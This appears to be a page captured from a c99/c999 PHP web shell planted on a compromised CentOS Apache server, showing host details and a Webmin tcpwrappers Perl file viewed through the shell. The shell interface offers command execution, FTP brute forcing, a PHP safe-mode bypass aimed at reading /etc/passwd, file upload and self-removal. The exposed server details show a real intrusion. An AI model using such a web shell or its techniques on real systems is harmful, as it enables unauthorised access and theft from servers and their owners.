!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/tcpwrappers/   drwxr-xr-x
Free 50.94 GB of 127.8 GB (39.86%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     index.cgi (1.42 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# Show allowed and denied lists

require './tcpwrappers-lib.pl';
&ReadParse();
&ui_print_header(undef, $text{'index_title'}, "", "intro", 1, 1);

# Start of tabs
@types = ('allow', 'deny');
print &ui_tabs_start(
    [ map { [ $_, $text{'index_'.$_.'title'},
          "index.cgi?type=$_" ] } @types ],
    "type",
    $in{'type'} || "allow",
    1);

# Tables of rules
foreach my $type ('allow', 'deny') {
    print &ui_tabs_start_tab("type", $type);
    my $file = $type eq 'allow' ? $config{'hosts_allow'}
                    : $config{'hosts_deny'};
    @rules = &list_rules($file);

    # Build grid of rules
    @table = ( );
    foreach my $r (@rules) {
        push(@table, [
            { 'type' => 'checkbox', 'name' => 'd',
              'value' => $r->{'id'} },
            "<a href='edit_rule.cgi?$type=1&id=$r->{'id'}'>".
             "$r->{'service'}</a>",
            $r->{'host'},
            $r->{'cmd'} ? join("<br>", split /:/, $r->{'cmd'})
                    : $text{'index_none'},
            ]);
        }

    # Show them
    print &ui_form_columns_table(
        "delete_rules.cgi",
           [ [ "delete", $text{'index_delete'} ] ],
           1,
           [ [ "edit_rule.cgi?$type=1&new=1", $text{'index_add'} ] ],
           [ [ $type, 1 ] ],
           [ "", $text{'index_service'},
         $text{'index_hosts'}, $text{'index_cmd'}, ],
           100,
           \@table,
           undef,
           0,
           undef,
           &text('index_norule', $file),
           );            
    print &ui_tabs_end_tab("type", $type);
    }

print &ui_tabs_end(1);

&ui_print_footer("/", $text{'index_return'});

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0085 ]--